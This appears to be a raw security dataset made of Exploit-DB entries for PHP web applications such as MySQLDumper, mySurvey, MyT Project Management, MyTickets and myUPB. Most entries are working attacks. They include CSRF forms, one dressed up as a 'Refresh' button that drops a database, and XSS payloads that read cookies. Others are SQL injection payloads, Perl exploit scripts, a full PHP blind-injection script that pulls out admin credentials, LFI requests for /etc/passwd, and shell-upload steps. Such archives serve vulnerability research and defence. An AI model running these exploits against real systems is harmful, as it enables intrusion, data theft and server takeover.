deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37131
Description: MySQLDumper 1.24.4 - 'main.php' Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53306/info
      
MySQLDumper is prone to multiple security vulnerabilities, including:
      
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
      
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
      
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

<img src="http://www.example.com/tld/meonyourpc.PNG" heigth="250" width="300" />
<form name="hackit" id="hackit" action="http://www.example.com/learn/cubemail/main.php?action=db&dbid=1" method="post">
<p><blink>Hotlink Protection is Active! Please click refresh button.</blink></p>
<input name="kill1" value="Refresh" onclick="alert('Congrats!) Your Database Dropped!')" type="submit">
</form>
Exploit-DB #37134
Description: MySQLDumper 1.24.4 - 'menu.php' PHP Remote Code Execution
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53310/info

MySQLDumper is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

Vulnerable code section:
/*
//menu.php
if (isset($_POST['selected_config'])||isset($_GET['config']))
{
if (isset($_POST['selected_config'])) $new_config=$_POST['selected_config'];
// Configuration was switched in content frame?
if (isset($_GET['config'])) $new_config=$_GET['config'];
// restore the last active menuitem
if (is_readable($config['paths']['config'].$new_config.'.php'))
{
clearstatcache();
unset($databases);
$databases=array();
if (read_config($new_config))
{
$config['config_file']=$new_config;
$_SESSION['config_file']=$new_config; //$config['config_file'];
$config_refresh='
<script language="JavaScript" type="text/javascript">
if (parent.MySQL_Dumper_content.location.href.indexOf("config_overview.php")!=-1)
{
var selected_div=parent.MySQL_Dumper_content.document.getElementById("sel").value;
}
else selected_div=\'\';
parent.MySQL_Dumper_content.location.href=\'config_overview.php?config='.urlencode($new_config).'&sel=\'+selected_div</script>';
}
if (isset($_GET['config'])) $config_refresh=''; //Neu-Aufruf bei Uebergabe aus Content-Bereich verhindern
}
}



*/
As you can see we can traverse it +

if we will look to read_config() function
//inc/functions_global.php

function read_config($file=false)
{
global $config,$databases;
$ret=false;
if (!$file) $file=$config['config_file'];
// protect from including external files
$search=array(':', 'http', 'ftp', ' ');
$replace=array('', '', '', '');
$file=str_replace($search,$replace,$file);

if (is_readable($config['paths']['config'].$file.'.php'))
{
// to prevent modern server from caching the new configuration we need to evaluate it this way
clearstatcache();
$f=implode('',file($config['paths']['config'].$file.'.php'));
$f=str_replace('<?php','',$f);
$f=str_replace('?>','',$f);
eval($f);
$config['config_file']=$file;
$_SESSION['config_file']=$config['config_file'];
$ret=true;
}
return $ret;
}

this means remote attacker can iterate his/her code as PHP.(Notice: eval($f))

Our exploit:
http://www.example.com/learn/cubemail/menu.php?config=../../ss
where ss = ss.php
#cat ss.php # in eg attacker uploaded his/her own file:
echo 'Our command executed ' . getcwd();
phpinfo();
Exploit-DB #37125
Description: MySQLDumper 1.24.4 - 'restore.php?Filename' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53306/info

MySQLDumper is prone to multiple security vulnerabilities, including:

1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.

Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.

MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/restore.php?filename=%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #37128
Description: MySQLDumper 1.24.4 - 'sql.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53306/info
   
MySQLDumper is prone to multiple security vulnerabilities, including:
   
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
   
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
   
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/sql.php?db=0&dbid=1&tablename=%3Cscript%3Ealert%281%29;%3C/script%3E
http://www.example.com/learn/cubemail/sql.php?db=0&dbid=%3Cscript%3Ealert%281%29;%3C/script%3E&tablename=1
Exploit-DB #37130
Description: MySQLDumper 1.24.4 - Multiple Script Direct Request Information Disclosures
Type: webapps
Platform: php
Date: 2012-04-27
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53306/info
     
MySQLDumper is prone to multiple security vulnerabilities, including:
     
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
     
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
     
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/restore.php
http://www.example.com/learn/cubemail/dump.php
http://www.example.com/learn/cubemail/refresh_dblist.php
Exploit-DB #29569
Description: MySQLNewsEngine - 'Affichearticles.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-06
Author: Blaster

Exploit:
source: https://www.securityfocus.com/bid/22431/info

MySQLNewsEngine is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/affichearticles.php3?newsenginedir=[attacker]
Exploit-DB #6759
Description: mystats - 'hits.php' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-15
Author: JosS

Exploit:
# myStats (hits.php) Multiple Remote Vulnerabilities Exploit
# url: http://mywebland.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

---------------------
Break System Block IP
---------------------

<<hits.php>>

7: if (@getenv("HTTP_X_FORWARDED_FOR")) 

   { $u_ip = @getenv("HTTP_X_FORWARDED_FOR"); } 

   else { $u_ip = @getenv("REMOTE_ADDR"); } 



   if ($u_ip == BLOCK_IP) 

    { return 1; 

13:  exit; } 

<<config.php>>

11: define("BLOCK_IP", "127.0.0.1"); 

<<exploit.pl>>

use HTTP::Request;
use LWP::UserAgent;

my $web="http://localhost/hits.php";
my $ua=LWP::UserAgent->new();
$ua->default_header('X-Forwarded-For' => "127.1.1.1");
my $respuesta=HTTP::Request->new(GET=>$web);
$ua->timeout(30);
my $response=$ua->request($respuesta);
$contenido=$response->content;
if ($response->is_success)
{
open(FILE,">>results.txt");
print FILE "$contenido\n";
close(FILE);
print "\n[+] Exploit Succesful!\n\n";
}
else
{
print "\n[-] Exploit Failed!\n\n";
}

<<proof of concept>>

$ua->default_header('X-Forwarded-For' => "127.1.1.1"); --> BREAK BLOCK_IP

-------------
SQL Injection
-------------

<<hits.php>>

63: if (isset($_GET['sortby']))

    {$sortby = $_GET['sortby'];}

    else

    { $sortby =  'timestamp' ;}


    $sql = "SELECT * FROM " . LOG_TBL . " ORDER BY " . $sortby." DESC LIMIT 0, ". DISPLAY_LOG_NO ;

69: $querylog = mysql_query($sql) or die("Line 117 Cannot query the database.<br>" . mysql_error());

<<exploit.pl>>

use HTTP::Request;
use LWP::UserAgent;

my $web="http://localhost/hits.php?sortby=1'";
my $ua=LWP::UserAgent->new();
my $respuesta=HTTP::Request->new(GET=>$web);
$ua->timeout(30);
my $response=$ua->request($respuesta);
$contenido=$response->content;
if ($response->is_success)
{
if($contenido =~ /You have an error in your SQL syntax;/)
{
print "\n[+] Exploit Succesful!\n";
print "\n[+] Content:\n";
print "$contenido\n\n";
}
}
else
{
print "\n[-] Exploit Failed!\n\n";
}

# milw0rm.com [2008-10-15]
Exploit-DB #34468
Description: Mystic 0.1.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42445/info

Mystic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Mystic 0.1.4 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/create_new_category" method="post" name="main" >
<input type="hidden" name="category[id]" value="999" >
<input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Create New Category!" >
</form>
<script>
document.main.submit();
</script>



<form action="http://www.example.com/admin/create_new_status" method="post"  name="main" >
> <input type="hidden" name="status[id]" value="999" >
> <input type="hidden" name="status[name]" value='status name"><script>alert(document.cookie)</script>' >
> <input type="hidden" name="commit" value="Create New Status!" >
> </form>
> <script>
> document.main.submit();
> </script>
>
Exploit-DB #44766
Description: mySurvey 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-26
Author: AkkuS

Exploit:
# Exploit Title: mySurvey 1.0 - 'statistic.php' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysurvey/6794645
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : You can see the notifications on the left side when you
receive new answers.
This url works in 'statistic.php' with 'id' parameter. This 'id' parameter
is vulnerable.
====================================================

# PoC : SQLi :

http://test.com/mySurvey/statistic.php?id=[SQLi]

Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=31 AND 5291=5291

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=31 AND SLEEP(5)

# /question.php Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2 AND 2740=2740

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=2 UNION ALL SELECT
NULL,NULL,CONCAT(0x716a787171,0x756d496841646d646a62785a6b7651775a4946456a[PII_REDACTED]51536d4b4952646a58564e736166,0x716a627a71),NULL,NULL--
SggH


# /edit_live.php Parameter: id (GET)

    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (4199=4199) THEN 4199 ELSE 4199*(SELECT
4199 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-6620 UNION ALL SELECT
CONCAT(0x716a6b6b71,0x706169774d[PII_REDACTED]656966494d4a78775a6d6e63504f7342426d[PII_REDACTED]767a57636e636e,0x7170786a71),NULL,NULL--
tDPV



# /statistic.php Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=31 AND 5291=5291

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=31 AND SLEEP(5)


====================================================
Exploit-DB #46084
Description: MyT Project Management 1.5.1 - 'Charge[group_total]' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-07
Author: Mehmet Onder

Exploit:
# Exploit Title: MyT-PM 1.5.1 - 'Charge[group_total]' SQL Injection
# Date: 03.01.2019
# Exploit Author: Mehmet Önder Key
# Vendor Homepage: https://manageyourteam.net/
# Software Link: https://sourceforge.net/projects/myt/
# Version: v1.5.1
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
MyT (Manage Your Team) - is a free open source task management and project
management system, based on Yii Framework, easy to use and with a great
perspective of growth for the future.

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.

# POC - SQL Injection :

# Parameter: Charge[group_total](POST)
# Request URL: /charge/admin

#    Type : Error Based
#    Payload: Charge[user_name]=k&Charge[group_total]=1) AND
EXTRACTVALUE(2003,CONCAT(0x5c,0x7171716b71,(SELECT
(ELT(2003=2003,1))),0x[PII_REDACTED]))-- eaYu&Charge_page=1&ajax=charge-grid

#    Type : Time-Based Blind
#    Payload: Charge[user_name]=k&Charge[group_total]=1) AND (SELECT * FROM
(SELECT(SLEEP(5)))ggBK)-- mGKC&Charge_page=1&ajax=charge-grid

#    Type : Stacked Queries
#    Payload: Charge[user_name]=k&Charge[group_total]=1);SELECT
SLEEP(5)#&Charge_page=1&ajax=charge-grid
Exploit-DB #47109
Description: MyT Project Management 1.5.1 - User[username] Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-07-12
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: MyT Project Management - User[username] Stored Cross Site
Scripting
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://manageyourteam.net/index.html
# Software Link: https://sourceforge.net/projects/myt/files/latest/download
# Version: 1.5.1
# Category: Webapps
# Tested on: Xampp for Windows
# Software Description : MyT is an extremely powerful project management
tool, and it's easy to use for both administrators and end-users with a
really intuitive structure.
# CVE : CVE-2019-13346
==================================================================

#Description: "User[username]" parameter has a xss vulnerability. Malicious
code is being written to database while user is creating process.
#to exploit vulnerability,add user that setting username as
"<sCript>alert("XSS")</sCript>" malicious code.



POST /myt-1.5.1/user/create HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target/myt-1.5.1/user/create
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]54680312
Content-Length: 3921
Cookie: PHPSESSID=bp16alfk843c4qll0ejq302b2j
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]54680312
Content-Disposition: form-data; name="User[username]"

<sCript>alert("XSS")</sCript>
----------------------------[PII_REDACTED][PII_REDACTED]54680312
Content-Disposition: form-data; name="User[password]"

12345
----------------------------[PII_REDACTED][PII_REDACTED]54680312
Content-Disposition: form-data; name="User[password_confirm]"

12345
----------------------------[PII_REDACTED][PII_REDACTED]54680312
Content-Disposition: form-data; name="User[email]"

ad1@gmail.com
----------------------------[PII_REDACTED][PII_REDACTED]54680312
Content-Disposition: form-data; name="User[name]"


----------------------------[PII_REDACTED][PII_REDACTED]54680312
Content-Disposition: form-data; name="User[surname]"


.
..snip
..snip
.
Exploit-DB #19264
Description: MyTickets 1.x < 2.0.8 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-06-18
Author: al-swisre

Exploit:
<?php
/*
  ---------------------------------------------------------------
  MyTickets <=  Remote Blind SQL Injection Exploit by al-swisre
  ---------------------------------------------------------------

  author...............: al-swisre
  mail.................: oy3[at]hotmail[dot]com
  software link........: http://phpx3.com/scripts.html#mytickets
  affected versions....: from 1 to 2.0.8


  [-] Vulnerable code in include/system/general/define.php:

  43.    if(empty($cookies['language'])){
  44.             setcookie('MyTickets_language',$setting['default_language'],time()+86400,"/");
  45.             $language	= $setting['default_language'];
  46.     }else{
  47.          	if($db->count('languages',"`id`='".$cookies['language']."'") == 0){
  48.                    $language	= $setting['default_language'];
  49.              	}
  50.          	$language	= $cookies['language'];
  52.      }
  52.
  53.      $language_array	= $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'"));


*/


print "\n+--------------------------------------------------------------------+";
print "\n| MyTickets <= Remote Blind SQL Injection Exploit by al-swisre       |";
print "\n+--------------------------------------------------------------------+\n";


if (!extension_loaded('curl')) die("cURL extension required\n");
error_reporting(E_ERROR);
set_time_limit(0);


function get($url,$inj)
{

			$curl =	curl_init();
			curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
			curl_setopt($curl,CURLOPT_URL,$url);
            curl_setopt($curl, CURLOPT_COOKIE, "MyTickets_language=1$inj");
            curl_setopt($curl, CURLOPT_HEADER, 1);
            curl_setopt($curl, CURLOPT_VERBOSE, 0);
			$calis = curl_exec($curl);
			@curl_close($calis);
            return $calis;


}

function chek_get($connect)
{

         if(eregi("include",$connect))
          {
            return false;
          }
          else
          {
            return true;
          }

}


if ($argc < 2)
{
            print "\nUsage......: php $argv[0] <url>\n";
            print "\nExample....: php $argv[0] http://localhost/mytickets/";
            print "\nExample....: php $argv[0] http://localhost/mytickets/\n";
            die();
}

$sql_f = chek_get(get($argv[1],"' and 1='2 /*"));
$sql_t = chek_get(get($argv[1],"' and 1='1 /*"));


if($sql_t == $sql_f)
{

          print "\n\t sorry: magic_quotes_gpc = On ): \n";
          die();
}

print "\n\t[+] Getting Admin Username and Password\n\n\t";



for ($g = 1; $g <= 40; $g++) {  //eidt
for ($i = 46; $i <= 122; $i++) {

       $inject = chek_get(get($argv[1],"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,username,password)+frOm+members+liMit 0,1),".$g.",1))='".$i."/*"));

       if($inject == true){print  chr($i);}
}
}




?>
Exploit-DB #13957
Description: myUPB 2.2.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-21
Author: ALTBTA

Exploit:
=============== altbta ======================

#Name: myUPB <= v2.2.6 Multiple Vulnerabilities

#Download: http://sourceforge.net/projects/textmb/files/UPB/

#Vulnerability: CSRF privilege escalation

#Tested on: 2.2.6

#Author : altbta (l_9@hotmail.com)

#Dork: "Powered by myUPB"

================= backup exploit: ==============

backup exploit:
register.php
http://localhost/upb/register.php

go too

http://localhost/upb/admin_restore.php?action=download

Download:

upbdatabackup_v2.2.6_06.21.2[PII_REDACTED]622.zip
upbdatabackup_v2.2.6_06.21.2[PII_REDACTED]651.zip
upbdatabackup_v2.2.6_06.21.2[PII_REDACTED]703.zip
upbdatabackup_v2.2.6_06.21.2[PII_REDACTED]704.zip

http://localhost/upb/admin_restore.php?action=download&file=upbdatabackup_v2.2.6_06.21.2[PII_REDACTED]704.zip

================= LFI exploit: ==============
LFI exploit:

register.php
http://localhost/upb/register.php

go too


http://localhost/upb/admin_restore.php?action=download&file=../../../index.php

http://localhost/upb/admin_restore.php?action=download&file=../../../../../../../etc/passwd


#####################################################################
RoMaNcYxHaCkEr & sad hacker & ab0-3th4b & Mr.SaFa7 & Mn7oS & V ! V 3
Evil-Cod3r & asL-Sabia & ! Dr.www ! & MaKKaWi & ZaIdOoHxHaCkEr & al.bito
SnIpEr.SiTeS & R3d-D3v!L

xp10.me/xp10 & v4-team.com/cc
Exploit-DB #11014
Description: Myuploader - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-06
Author: S2K9

Exploit:
# Exploit Title: Myuploader >> upload shell exploit

# Date: 5/1/2010

# Author:S2K9 >>> soqor team

# Site: www.soqor.net , www.xp10.me , www.iq-ty.com

# Software Link: http://www.myuploader.com/

# Tested on: windows xp sp2

Dork :in u r dream

exploit : add u r shell

upload it

go to path myuploader/uploaded-files/shell.php


Greets : !~¤§¦..M4ST3R..¦§¤~!<http://forums.soqor.net/-m4st3r--m108099.html> and every muslim hacker